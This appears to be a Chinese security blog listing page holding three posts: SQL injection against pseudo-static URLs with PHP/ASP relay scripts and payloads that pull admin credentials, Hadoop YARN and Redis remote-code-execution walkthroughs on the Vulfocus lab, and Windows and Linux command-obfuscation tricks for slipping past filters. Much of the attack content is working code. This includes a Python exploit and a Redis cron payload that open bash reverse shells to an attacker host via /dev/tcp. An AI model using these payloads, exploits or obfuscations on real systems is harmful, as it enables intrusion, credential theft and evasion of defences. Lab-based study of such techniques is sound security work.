伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、sqlmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
254 阅读
0 评论
0 点赞
2025-05-18
Hadoop & Redis未授权访问漏洞,靶场实战——Vulfocus
一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。未授权访问的常见攻击手段包括但不限于:利用已知的系统漏洞或弱点。通过猜测、破解或窃取密码等认证信息。使用恶意软件,如病毒、木马等,来绕过安全机制。社交工程,如诱骗用户泄露敏感信息。二、靶场介绍--VulfocusVulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。在线位置:https://vulfocus.cn/#/dashboard离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)Tips:Docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本Docker(Docker desktop)来部署,使用即可这个坑踩了一天。。。三、漏洞复现1、HadoopHadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。Hadoop的主要用于:分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。该漏洞涉及版本:hadoop 3.3.0以下搜索hadoop,启动环境即可访问靶场给你的第一个ip地址,就可以进入hadoop网页界面查看版本,2.8.1,存在未授权访问漏洞使用python脚本进行shell反弹exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html#!/usr/bin/env python import requests target = 'http://123.58.224.8:32220/' 目标网址 lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,终端连接ssh协议ssh root@192.168.128.128连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听nc -lvvp 4443注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况iptables -L -n -v -L 表示列出所有规则 -n 表示以数字形式显示地址和端口号 -v 表示显示详细信息新建一个终端执行你的脚本即可python .hadoop-payload.py反弹成功再根据题目提示,找到flag提交即可2、RedisCNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。端口探测:由于我启动的Vulfocus靶场redis端口为64239,所以nmap扫描命令如下 nmap -v -Pn -p 64239 -sV 123.58.224.8 发现存在64239 redis服务默认端口使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持redis-cli -h 123.58.224.8 -p 64239然后并且追加如下内容set xxx "nn 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1nn" config set dir /var/ config set dbfilename root save知识扩展:在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/这是我的目录效果继续git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cd ../ # 将module.so复制一份到当前目录下的redis-rce cp module.so ./redis-rce # 使用pip安装依赖 pip install -r requirements.txt执行攻击之前,需要放行21000端口python redis-rce.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so中途超时了一下所以我的靶场redis端口变成了 11778redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
2025年05月18日
403 阅读
0 评论
0 点赞
2025-05-18
windows和linux的命令混淆方式
windows和Linux的命令混淆方式我们在windows命令行中执行命令的时候,是不区分大小写的C:>WHOAMI yvadministrator在命令行中可以有无数个"C:>wh""""oami yvadministrator C:>wh""""""""""""""""""""""""""""""oami yvadministrator不能有两个连续的^C:>whoa^mi yvadministrator C:>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>who^a^m^i yvadministrator在命令中如果 " 在^之前,此时"的数量必须为偶数C:>who""a^mi yvadministrator C:>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。在命令中"在^之后,且带有参数,则”也需要带有偶数C:>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>n^et"" user \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。也可以使用()对命令进行包裹C:>(whoami) yvadministrator C:>(n^et"" user) \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。()的数量不设上限C:>(((whoami))) yvadministrator使用变量简单拼接%%局部分开每个变量C:>set cmd1=who C:>set cmd2=am C:>set cmd3=i C:>%cmd1%%cmd2%%cmd3% yvadministrator变量拼接方式二C:>set cmd1=who C:>set cmd3=i C:>%cmd1%am%cmd3% yvadministrator变量拼接方式三C:>set cmd1=wh"""o C:>set cmd3=i""" C:>%cmd1%am%cmd3% yvadministrator变量拼接方式四 ^C:>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:>set cmd3=i""" # 后面正常多少个 " 都行 C:>%cmd1%a^m%cmd3% yvadministrator含有参数的命令,net userC:>set cmd1=s""er C:>set cmd2=t u C:>set cmd3=n^e C:>%cmd3%%cmd2%%cmd1% \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。Windows环境变量切分C:>set cmd=whoami C:>%cmd% yvadministrator这个0,1表示的数组切片,代表前后切片的索引C:>set cmd=whoami C:>echo %cmd:~0,1% w C:>echo %cmd:~0,4% whoa也可以为负数,负数表示从右边开始数第几个C:>set cmd=whoami C:>echo %cmd:~-4,4% oami C:>echo %cmd:~-6,4% whoa当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yvadministratorLinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root&只执行正确的那一段代码┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto&&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found|管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。┌──(root㉿251ebe86465a)-[/] └─# ls | grep 'boo*' boot||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever转义字符┌──(root㉿251ebe86465a)-[/] └─# whoami root'',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root命令引用┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j 谷歌插件 GitHack mikuLinux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi rootLinux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i rootLinux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60分割环境变量
2025年05月18日
338 阅读
0 评论
0 点赞
1
...
9
10
11
...
14